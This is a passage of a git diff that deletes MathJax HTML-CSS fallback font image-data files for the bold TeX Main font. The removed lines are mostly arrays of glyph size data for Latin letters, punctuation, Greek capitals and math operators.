-      [12,20,0],[14,23,0],[17,28,0],[20,32,0],[23,38,0],[27,46,0]
-    ],
-    0x4A: [  // LATIN CAPITAL LETTER J
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[9,12,0],[11,14,0],[13,17,0],
-      [15,20,0],[18,23,0],[21,28,0],[25,32,0],[30,38,0],[35,46,0]
-    ],
-    0x4B: [  // LATIN CAPITAL LETTER K
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x4C: [  // LATIN CAPITAL LETTER L
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-      [18,20,0],[22,23,0],[26,28,0],[31,32,0],[36,38,0],[43,46,0]
-    ],
-    0x4D: [  // LATIN CAPITAL LETTER M
-      [8,6,0],[9,7,0],[11,9,0],[13,9,0],[15,10,0],[18,13,0],[21,15,0],[25,18,0],
-      [29,21,0],[35,24,0],[42,29,0],[49,33,0],[58,39,0],[70,47,0]
-    ],
-    0x4E: [  // LATIN CAPITAL LETTER N
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x4F: [  // LATIN CAPITAL LETTER O
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-      [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[53,46,0]
-    ],
-    0x50: [  // LATIN CAPITAL LETTER P
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[15,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[29,28,0],[34,32,0],[40,38,0],[48,46,0]
-    ],
-    0x51: [  // LATIN CAPITAL LETTER Q
-      [6,6,1],[7,8,2],[8,10,2],[10,10,2],[12,12,3],[14,15,3],[16,18,4],[19,22,5],
-      [23,26,6],[27,29,6],[32,36,8],[38,41,9],[45,49,11],[53,59,13]
-    ],
-    0x52: [  // LATIN CAPITAL LETTER R
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x53: [  // LATIN CAPITAL LETTER S
-      [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,46,0]
-    ],
-    0x54: [  // LATIN CAPITAL LETTER T
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [21,19,0],[25,23,0],[30,27,0],[36,31,0],[42,38,0],[50,45,0]
-    ],
-    0x55: [  // LATIN CAPITAL LETTER U
-      [6,5,0],[8,6,0],[9,8,0],[10,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[34,28,0],[40,32,0],[47,39,1],[56,47,1]
-    ],
-    0x56: [  // LATIN CAPITAL LETTER V
-      [6,6,1],[7,7,1],[9,9,1],[10,9,1],[12,10,1],[14,13,1],[17,15,1],[20,18,1],
-      [24,21,1],[28,24,1],[33,29,1],[40,33,1],[47,40,1],[56,47,1]
-    ],
-    0x57: [  // LATIN CAPITAL LETTER W
-      [8,6,0],[10,7,0],[12,9,0],[14,9,0],[17,10,0],[20,13,0],[23,15,0],[27,18,0],
-      [33,21,0],[39,24,0],[46,29,0],[54,33,0],[65,39,0],[77,47,0]
-    ],
-    0x58: [  // LATIN CAPITAL LETTER X
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[33,28,0],[39,32,0],[47,38,0],[55,46,0]
-    ],
-    0x59: [  // LATIN CAPITAL LETTER Y
-      [6,5,0],[8,6,0],[9,8,0],[10,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[28,23,0],[34,28,0],[40,32,0],[47,38,0],[56,46,0]
-    ],
-    0x5A: [  // LATIN CAPITAL LETTER Z
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[22,23,0],[26,28,0],[30,32,0],[36,38,0],[43,46,0]
-    ],
-    0x5B: [  // LEFT SQUARE BRACKET
-      [3,7,2],[3,9,2],[3,11,3],[4,11,3],[5,13,3],[5,19,5],[6,22,6],[7,26,7],
-      [9,29,7],[10,34,8],[12,40,10],[14,47,12],[17,56,14],[20,67,17]
-    ],
-    0x5C: [  // REVERSE SOLIDUS
-      [4,7,2],[5,9,2],[5,11,3],[6,11,3],[8,14,3],[9,18,4],[10,20,5],[12,25,6],
-      [15,29,7],[17,33,8],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-    ],
-    0x5D: [  // RIGHT SQUARE BRACKET
-      [2,7,2],[2,9,2],[2,11,3],[3,11,3],[3,13,3],[4,19,5],[4,22,6],[5,26,7],
-      [6,29,7],[7,34,8],[8,40,10],[9,47,12],[11,56,14],[13,67,17]
-    ],
-    0x5E: [  // CIRCUMFLEX ACCENT
-      [4,2,-3],[4,2,-5],[5,2,-6],[6,2,-6],[7,3,-7],[8,4,-9],[9,4,-10],[11,5,-13],
-      [13,5,-15],[15,6,-17],[18,7,-21],[21,9,-24],[25,10,-29],[30,12,-35]
-    ],
-    0x5F: [  // LOW LINE
-      [4,2,1],[5,2,1],[6,2,1],[7,2,1],[8,2,1],[10,2,1],[12,3,2],[14,3,2],
-      [16,3,2],[19,3,2],[23,3,2],[27,4,3],[32,4,3],[38,5,4]
-    ],
-    0x60: [  // GRAVE ACCENT
-      [3,2,-3],[3,2,-4],[4,3,-5],[4,3,-5],[5,3,-6],[6,4,-8],[7,5,-9],[8,5,-12],
-      [10,6,-14],[12,7,-16],[14,9,-19],[16,10,-23],[19,12,-27],[23,14,-33]
-    ],
-    0x61: [  // LATIN SMALL LETTER A
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[11,9,0],[13,11,0],
-      [16,13,0],[19,15,0],[22,18,0],[26,21,0],[31,25,0],[37,30,0]
-    ],
-    0x62: [  // LATIN SMALL LETTER B
-      [5,5,0],[5,6,0],[6,8,0],[8,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[24,28,0],[28,32,0],[34,38,0],[40,46,0]
-    ],
-    0x63: [  // LATIN SMALL LETTER C
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[16,15,0],[19,18,0],[23,21,0],[27,25,0],[32,30,0]
-    ],
-    0x64: [  // LATIN SMALL LETTER D
-      [5,5,0],[6,6,0],[6,8,0],[8,8,0],[9,9,0],[11,12,0],[12,14,0],[15,17,0],
-      [17,20,0],[20,23,0],[24,28,0],[29,32,0],[34,38,0],[40,46,0]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,15,0],[20,18,0],[23,21,0],[28,25,0],[33,30,0]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [4,5,0],[4,6,0],[5,8,0],[6,8,0],[7,9,0],[8,12,0],[9,14,0],[11,17,0],
-      [13,20,0],[15,23,0],[18,28,0],[21,32,0],[25,38,0],[30,46,0]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[10,11,3],[11,13,4],[13,16,5],
-      [16,19,6],[19,21,6],[22,26,8],[26,30,9],[31,36,11],[37,43,13]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[21,23,0],[25,28,0],[29,32,0],[35,38,0],[41,46,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-      [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,46,0]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,6,1],[4,8,2],[4,10,2],[5,10,2],[5,12,3],[7,15,3],[8,18,4],[9,22,5],
-      [10,26,6],[13,29,6],[14,36,8],[17,41,9],[20,49,11],[24,59,13]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [5,5,0],[5,6,0],[6,8,0],[7,8,0],[9,9,0],[10,12,0],[12,14,0],[14,17,0],
-      [17,20,0],[20,23,0],[23,28,0],[28,32,0],[33,38,0],[39,46,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-      [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,46,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,6,0],[16,8,0],[19,9,0],[22,11,0],
-      [27,13,0],[31,15,0],[37,18,0],[44,21,0],[53,25,0],[62,30,0]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [5,3,0],[6,5,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-      [18,13,0],[21,15,0],[25,18,0],[29,21,0],[35,25,0],[41,30,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,15,0],[22,18,0],[26,21,0],[30,25,0],[36,30,0]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,11,3],[12,13,4],[14,16,5],
-      [17,19,6],[20,21,6],[24,26,8],[28,30,9],[33,36,11],[40,43,13]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [5,4,1],[6,6,2],[6,7,2],[8,7,2],[9,9,3],[11,11,3],[12,13,4],[15,16,5],
-      [17,19,6],[21,21,6],[24,26,8],[29,30,9],[34,36,11],[41,43,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,15,0],[18,18,0],[21,21,0],[25,25,0],[29,30,0]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[4,4,0],[5,5,0],[5,5,0],[6,6,0],[7,8,0],[9,9,0],[10,11,0],
-      [12,13,0],[14,15,0],[17,18,0],[20,21,0],[23,25,0],[28,30,0]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,5,0],[4,6,0],[4,7,0],[5,7,0],[6,9,0],[7,12,0],[8,13,0],[9,16,0],
-      [11,19,0],[13,22,0],[15,26,0],[18,30,0],[22,36,0],[26,43,0]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-      [18,13,0],[21,15,0],[25,18,0],[29,21,0],[35,25,0],[41,30,0]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,30,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [6,3,0],[7,4,0],[8,5,0],[10,5,0],[12,6,0],[14,8,0],[16,9,0],[19,11,0],
-      [23,13,0],[27,15,0],[32,18,0],[38,21,0],[45,25,0],[53,30,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [5,3,0],[5,4,0],[6,5,0],[7,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-      [17,13,0],[20,15,0],[23,18,0],[28,21,0],[33,25,0],[39,30,0]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,11,3],[12,13,4],[14,16,5],
-      [17,19,6],[20,21,6],[23,26,8],[27,30,9],[33,36,11],[39,43,13]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[16,15,0],[19,18,0],[22,21,0],[26,25,0],[31,30,0]
-    ],
-    0x7B: [  // LEFT CURLY BRACKET
-      [4,7,2],[5,9,2],[5,11,3],[6,11,3],[7,14,3],[9,18,4],[10,21,6],[12,25,7],
-      [14,30,7],[17,33,8],[20,40,10],[24,47,12],[28,55,14],[34,66,17]
-    ],
-    0x7C: [  // VERTICAL LINE
-      [2,7,2],[2,9,2],[2,12,3],[3,12,3],[3,14,3],[4,18,4],[4,20,5],[5,25,6],
-      [6,29,7],[7,34,8],[8,40,10],[9,47,12],[11,56,14],[13,67,17]
-    ],
-    0x7D: [  // RIGHT CURLY BRACKET
-      [4,7,2],[5,9,2],[5,11,3],[6,11,3],[7,14,3],[9,18,4],[10,21,6],[12,26,7],
-      [14,29,7],[17,33,8],[20,40,10],[24,47,11],[28,56,14],[34,66,16]
-    ],
-    0x7E: [  // TILDE
-      [4,1,-1],[4,1,-2],[5,3,-1],[6,3,-1],[7,4,-2],[8,3,-4],[10,3,-4],[12,4,-5],
-      [14,5,-6],[16,6,-7],[19,6,-8],[23,7,-9],[27,9,-11],[32,10,-13]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-      [18,20,0],[22,23,0],[26,27,0],[30,32,0],[36,38,0],[43,46,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-      [25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,5,0],[6,6,0],[8,8,0],[9,8,0],[10,9,0],[12,12,0],[14,14,0],[17,17,0],
-      [20,20,0],[24,23,0],[28,27,0],[34,31,0],[40,37,0],[48,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-      [24,20,0],[29,23,0],[34,27,0],[40,32,0],[48,38,0],[57,46,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[30,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-      [23,20,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,46,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],
-      [22,20,0],[26,23,0],[31,28,0],[36,32,0],[43,38,0],[51,46,0]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/Main/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MathOperators.js b/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MathOperators.js
deleted file mode 100644
index cc397124..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/unpacked/MathOperators.js
+++ /dev/null
@@ -1,301 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/Main/Bold/MathOperators.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_Main-bold": {
-    0x2200: [  // FOR ALL
-      [6,5,0],[7,7,1],[8,8,1],[9,10,1],[10,10,0],[12,13,1],[14,15,1],[16,18,1],
-      [19,21,1],[23,25,1],[26,28,1],[31,34,1],[37,40,1],[44,48,2]
-    ],
-    0x2202: [  // PARTIAL DIFFERENTIAL
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,11,1],[11,13,1],[13,15,1],[16,18,1],
-      [19,21,1],[22,25,1],[26,29,1],[31,34,1],[37,41,1],[44,49,2]
-    ],
-    0x2203: [  // THERE EXISTS
-      [4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,10,0],[10,12,0],[12,14,0],[14,17,0],
-      [16,20,0],[19,23,0],[23,28,0],[27,33,0],[32,39,0],[38,46,0]
-    ],
-    0x2205: [  // EMPTY SET
-      [4,7,1],[5,8,1],[6,9,1],[7,11,1],[8,12,1],[9,15,2],[11,17,2],[13,20,2],
-      [15,25,3],[18,29,3],[21,35,4],[25,40,4],[30,48,5],[35,56,5]
-    ],
-    0x2207: [  // NABLA
-      [7,5,0],[8,6,0],[9,8,1],[11,10,1],[13,11,1],[15,13,1],[18,15,1],[21,17,1],
-      [25,20,1],[30,24,1],[36,28,1],[42,34,2],[50,40,2],[60,48,2]
-    ],
-    0x2208: [  // ELEMENT OF
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,12,2],[14,14,2],[16,16,2],
-      [19,20,3],[23,23,3],[27,27,4],[31,32,4],[38,38,5],[44,45,6]
-    ],
-    0x2209: [  // stix-negated (vert) set membership, variant
-      [5,7,2],[6,8,2],[7,10,3],[8,12,3],[10,13,3],[12,16,4],[13,19,5],[16,22,5],
-      [19,26,6],[22,31,7],[27,37,9],[31,43,10],[37,51,12],[44,62,15]
-    ],
-    0x220B: [  // CONTAINS AS MEMBER
-      [5,5,1],[6,6,1],[7,7,1],[8,8,1],[10,9,1],[12,12,2],[14,14,2],[16,16,2],
-      [19,20,3],[23,23,3],[27,27,4],[32,32,4],[37,38,5],[45,45,6]
-    ],
-    0x2212: [  // MINUS SIGN
-      [6,1,-1],[7,1,-2],[8,1,-2],[10,2,-2],[12,1,-3],[14,2,-3],[16,2,-4],[19,2,-5],
-      [23,2,-6],[27,3,-7],[32,3,-8],[38,4,-10],[45,4,-12],[53,5,-14]
-    ],
-    0x2213: [  // MINUS-OR-PLUS SIGN
-      [6,6,2],[7,7,2],[9,9,3],[10,10,3],[12,11,3],[14,13,4],[17,16,5],[20,19,6],
-      [23,22,7],[28,26,8],[33,31,9],[39,36,11],[46,43,13],[55,52,16]
-    ],
-    0x2215: [  // DIVISION SLASH
-      [4,8,2],[5,10,3],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],
-      [15,28,7],[17,34,9],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-    ],
-    0x2216: [  // SET MINUS
-      [4,8,2],[5,10,3],[5,11,3],[6,12,3],[8,15,4],[9,18,5],[10,20,5],[12,24,6],
-      [15,28,7],[17,34,9],[20,40,10],[24,47,12],[29,56,14],[34,67,17]
-    ],
-    0x2217: [  // ASTERISK OPERATOR
-      [4,4,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,10,0],[12,11,0],
-      [14,14,0],[17,16,0],[20,18,-1],[24,21,-1],[28,26,-1],[33,31,-1]
-    ],
-    0x2218: [  // RING OPERATOR
-      [4,4,0],[4,4,0],[5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,11,0],
-      [15,14,0],[17,16,0],[20,18,-1],[24,22,-1],[29,26,-1],[34,31,-1]
-    ],
-    0x2219: [  // BULLET OPERATOR
-      [4,4,0],[5,4,0],[5,5,0],[6,6,0],[8,7,0],[9,8,0],[10,10,0],[12,11,0],
-      [15,14,0],[17,16,0],[20,18,-1],[24,22,-1],[29,26,-1],[34,31,-1]
-    ],
-    0x221A: [  // SQUARE ROOT
-      [7,8,2],[9,9,2],[10,11,2],[12,13,3],[14,15,3],[17,17,3],[20,20,4],[24,25,5],
-      [28,28,5],[33,33,6],[39,41,8],[47,48,9],[55,56,10],[66,66,12]
-    ],
-    0x221D: [  // PROPORTIONAL TO
-      [6,3,0],[7,4,0],[9,5,0],[10,7,1],[12,8,1],[14,9,1],[17,10,1],[20,12,1],
-      [24,14,1],[28,16,1],[33,19,1],[39,22,1],[47,26,1],[55,31,1]
-    ],
-    0x221E: [  // INFINITY
-      [8,3,0],[9,4,0],[11,6,1],[13,7,1],[15,8,1],[18,9,1],[22,10,1],[26,12,1],
-      [30,14,1],[36,16,1],[43,19,1],[51,22,1],[61,26,1],[72,31,1]
-    ],
-    0x2220: [  // ANGLE
-      [5,5,0],[6,6,0],[7,7,0],[8,9,0],[10,10,0],[12,12,0],[14,14,0],[16,17,0],
-      [19,20,0],[23,24,0],[27,28,0],[32,33,0],[38,40,0],[45,47,0]
-    ],
-    0x2223: [  // DIVIDES
-      [2,8,2],[2,10,3],[2,11,3],[3,12,3],[3,15,4],[4,18,5],[4,20,5],[5,24,6],
-      [6,28,7],[7,34,9],[8,40,10],[9,47,12],[11,56,14],[13,67,17]
-    ],
-    0x2225: [  // PARALLEL TO
-      [3,8,2],[4,10,3],[5,11,3],[6,12,3],[6,15,4],[7,18,5],[9,20,5],[11,24,6],
-      [12,28,7],[15,34,9],[17,40,10],[21,47,12],[24,56,14],[29,67,17]
-    ],
-    0x2227: [  // LOGICAL AND
-      [5,6,1],[6,7,1],[7,7,1],[9,9,1],[10,10,1],[12,12,1],[14,13,1],[17,16,1],
-      [20,18,1],[24,21,1],[28,25,1],[33,30,1],[39,35,1],[47,42,2]
-    ],
-    0x2228: [  // LOGICAL OR
-      [5,6,1],[6,7,1],[7,7,1],[9,9,1],[10,10,1],[12,12,1],[14,13,1],[17,16,1],
-      [20,18,1],[24,21,1],[28,25,1],[33,30,1],[39,35,1],[47,42,2]
-    ],
-    0x2229: [  // stix-intersection, serifs
-      [5,5,1],[6,6,1],[7,7,1],[9,8,1],[10,10,1],[12,11,1],[14,13,1],[17,15,1],
-      [20,18,1],[24,21,1],[28,25,1],[33,30,1],[39,35,1],[47,41,1]
-    ],
-    0x222A: [  // stix-union, serifs
-      [5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,12,1],[14,13,1],[17,16,1],
-      [20,18,1],[24,21,1],[28,25,1],[33,30,1],[39,35,1],[47,42,2]
-    ],
-    0x222B: [  // INTEGRAL
-      [5,7,2],[6,8,2],[7,10,3],[8,12,3],[9,13,3],[11,16,4],[13,19,5],[15,22,5],
-      [18,26,6],[21,31,7],[25,37,9],[30,43,10],[35,52,12],[42,61,14]
-    ],
-    0x223C: [  // TILDE OPERATOR
-      [6,3,0],[7,3,-1],[8,3,-1],[10,4,-1],[12,5,-1],[14,6,-1],[17,6,-2],[20,8,-2],
-      [23,8,-3],[28,10,-3],[33,12,-4],[39,14,-5],[46,16,-6],[55,19,-7]
-    ],
-    0x2240: [  // WREATH PRODUCT
-      [2,5,1],[2,6,1],[3,7,1],[3,8,1],[4,9,1],[5,12,2],[5,14,2],[6,16,2],
-      [8,20,3],[9,23,3],[10,27,4],[12,32,4],[15,38,5],[17,45,6]
-    ],
-    0x2243: [  // ASYMPTOTICALLY EQUAL TO
-      [6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,10,1],[17,11,1],[20,13,1],
-      [23,15,1],[28,18,1],[33,21,1],[39,25,1],[46,29,1],[55,35,1]
-    ],
-    0x2245: [  // APPROXIMATELY EQUAL TO
-      [6,5,0],[7,6,0],[9,8,1],[10,9,1],[12,10,1],[14,12,1],[17,14,1],[20,16,1],
-      [23,19,1],[28,22,1],[33,27,2],[39,32,2],[46,38,2],[55,44,2]
-    ],
-    0x2248: [  // ALMOST EQUAL TO
-      [6,4,0],[7,5,0],[8,5,0],[10,7,0],[12,8,0],[14,9,0],[17,11,0],[20,13,0],
-      [23,15,0],[28,17,-1],[33,20,-1],[39,24,-1],[46,28,-1],[55,33,-2]
-    ],
-    0x224D: [  // EQUIVALENT TO
-      [6,5,1],[7,6,1],[9,7,1],[10,8,1],[12,9,1],[14,10,1],[17,12,1],[20,14,1],
-      [23,16,1],[28,20,2],[33,23,2],[39,27,2],[46,32,2],[55,39,3]
-    ],
-    0x2250: [  // APPROACHES THE LIMIT
-      [6,5,0],[7,5,-1],[9,7,-1],[10,8,-1],[12,9,-1],[14,11,-1],[17,13,-2],[20,15,-2],
-      [23,17,-3],[28,21,-3],[33,25,-4],[39,29,-5],[46,34,-6],[55,41,-7]
-    ],
-    0x2260: [  // stix-not (vert) equals
-      [6,7,2],[7,9,2],[9,10,3],[10,12,3],[12,14,4],[14,16,4],[17,20,5],[20,22,5],
-      [23,26,6],[28,31,7],[33,37,9],[39,43,10],[46,51,12],[55,61,14]
-    ],
-    0x2261: [  // IDENTICAL TO
-      [6,4,0],[7,4,0],[9,5,0],[10,6,0],[12,7,0],[14,10,1],[17,11,1],[20,13,1],
-      [23,15,1],[28,18,1],[33,21,1],[39,25,1],[46,29,1],[55,35,1]
-    ],
-    0x2264: [  // LESS-THAN OR EQUAL TO
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,43,10],[45,50,11],[53,60,14]
-    ],
-    0x2265: [  // GREATER-THAN OR EQUAL TO
-      [6,7,2],[7,8,2],[8,9,2],[10,12,3],[12,13,3],[14,16,4],[16,18,4],[19,22,5],
-      [23,26,6],[27,30,7],[32,36,8],[38,43,10],[45,50,11],[53,60,14]
-    ],
-    0x226A: [  // MUCH LESS-THAN
-      [8,6,1],[9,7,1],[11,9,2],[13,10,2],[15,11,2],[18,13,2],[22,16,3],[26,18,3],
-      [30,22,4],[36,25,4],[43,30,5],[51,35,6],[60,42,7],[72,49,8]
-    ],
-    0x226B: [  // MUCH GREATER-THAN
-      [8,6,1],[10,7,1],[11,9,2],[13,10,2],[16,11,2],[19,13,2],[22,16,3],[26,18,3],
-      [31,22,4],[36,25,4],[43,30,5],[51,35,6],[61,42,7],[72,49,8]
-    ],
-    0x227A: [  // PRECEDES
-      [6,6,1],[7,6,1],[8,7,1],[10,8,1],[12,11,2],[14,12,2],[16,14,2],[19,16,2],
-      [23,20,3],[27,23,3],[32,27,4],[38,32,4],[45,38,5],[53,45,6]
-    ],
-    0x227B: [  // SUCCEEDS
-      [6,6,1],[7,6,1],[8,7,1],[10,9,2],[11,11,2],[14,12,2],[16,14,2],[19,16,2],
-      [22,20,3],[27,23,3],[32,27,4],[37,32,4],[44,38,5],[53,45,6]
-    ],
-    0x2282: [  // SUBSET OF
-      [6,5,1],[7,6,1],[8,7,1],[10,8,1],[12,9,1],[14,12,2],[16,14,2],[19,16,2],
-      [23,20,3],[27,23,3],[32,27,4],[37,32,4],[45,38,5],[53,45,6]
-    ],
-    0x2283: [  // SUPERSET OF
-      [6,6,1],[7,6,1],[8,7,1],[10,8,1],[12,10,1],[14,12,2],[16,14,2],[19,16,2],
